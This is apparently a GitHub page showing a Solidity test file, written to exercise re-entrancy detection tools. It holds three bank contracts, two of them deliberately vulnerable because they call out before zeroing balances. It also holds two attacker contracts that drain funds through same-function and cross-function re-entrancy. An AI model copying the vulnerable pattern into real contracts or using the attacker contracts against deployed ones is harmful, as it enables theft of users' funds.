-
Notifications
You must be signed in to change notification settings - Fork 22
/
manual-lock.sol
204 lines (163 loc) · 5.73 KB
/
manual-lock.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
// This file contains 3 versions of the same contract.
//
// * VulnBankNoLock is vulnerable to simple same function re-entrancy
// * VulnBankBuggyLock is vulnerable to cross-function re-entrancy, due to a incomplete locking mechanism
// * VulnBankSecureLock is not vulnerable due to the locking mechanism
//
// Both VulnBankBuggyLock and VulnBankSecureLock employ a locking mechanism to
// disable further state modifications to prevent re-entrancy attacks.
//
// VulnBankBuggLock does only prevent same-function re-entrancy. An attacker
// can still re-enter in the transfer function.
//
// The Mallory contract performs a cross-function re-entrancy attack, which is
// possible for all contracts but the VulnBankSecureLock.
//
// These contracts exercise edge cases of many analysis that try to identify
// re-entrancy vulnerabilities.
//
// VulnBankNoLock should be simple and detected easily.
//
// VulnBankBuggyLock can only be exploited by cross-function re-entrancy. So
// either the tool has to be aware of cross-function re-entrancy, or it reports
// a false positive for same-function re-entrancy.
//
// VulnBankSecureLock is not exploitable by re-entrancy, but for an analysis
// tool, it looks like a re-entrancy bug. The locking mechanism is hard to
// differentiate from other functionality, especially on the EVM bytecode
// level.
pragma solidity ^0.5.0;
/*pragma solidity ^0.4.21;*/
contract VulnBank {
function getBalance(address a) public view returns(uint);
function deposit() public payable;
function transfer(address to, uint amount) public;
function withdrawBalance() public;
}
contract VulnBankNoLock is VulnBank {
mapping (address => uint) private userBalances;
function getBalance(address a) public view returns(uint) {
return userBalances[a];
}
function deposit() public payable {
userBalances[msg.sender] += msg.value;
}
function transfer(address to, uint amount) public {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)("");
userBalances[msg.sender] = 0;
}
}
}
contract VulnBankBuggyLock is VulnBank {
mapping (address => uint) private userBalances;
mapping (address => bool) private disableWithdraw;
function getBalance(address a) public view returns(uint) {
return userBalances[a];
}
function deposit() public payable {
userBalances[msg.sender] += msg.value;
}
function transfer(address to, uint amount) public {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
function withdrawBalance() public {
require(disableWithdraw[msg.sender] == false);
uint amountToWithdraw = userBalances[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)("");
disableWithdraw[msg.sender] = false;
userBalances[msg.sender] = 0;
}
}
}
contract VulnBankSecureLock is VulnBank {
mapping (address => uint) private userBalances;
mapping (address => bool) private disableWithdraw;
function getBalance(address a) public view returns(uint) {
return userBalances[a];
}
function deposit() public payable {
require(disableWithdraw[msg.sender] == false);
userBalances[msg.sender] += msg.value;
}
function transfer(address to, uint amount) public {
require(disableWithdraw[msg.sender] == false);
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
function withdrawBalance() public {
require(disableWithdraw[msg.sender] == false);
uint amountToWithdraw = userBalances[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)("");
disableWithdraw[msg.sender] = false;
userBalances[msg.sender] = 0;
}
}
}
contract MallorySameFunction {
VulnBank vb;
// for solidity 0.5
address payable owner;
// for solidity 0.4.21
/*address owner;*/
// for solidity 0.5
constructor(VulnBank _vb) public {
// for solidity 0.4.21
/*function Mallory(VulnBank _vb) public {*/
owner = msg.sender;
vb = _vb;
}
function gimme() public payable { }
function attack() public payable {
// deposit all ether
vb.deposit.value(address(this).balance)();
// and extract again
vb.withdrawBalance();
owner.transfer(address(this).balance);
}
function () external payable {
vb.withdrawBalance();
}
}
contract MalloryCrossFunction {
VulnBank vb;
// for solidity 0.5
address payable owner;
// for solidity 0.4.21
/*address owner;*/
// for solidity 0.5
constructor(VulnBank _vb) public {
// for solidity 0.4.21
/*function Mallory(VulnBank _vb) public {*/
owner = msg.sender;
vb = _vb;
}
function gimme() public payable { }
function attack() public payable {
// deposit all ether
vb.deposit.value(address(this).balance)();
// and extract again
vb.withdrawBalance();
owner.transfer(address(this).balance);
}
function () external payable {
// transfer to owner
vb.transfer(owner, vb.getBalance(address(this)));
}
}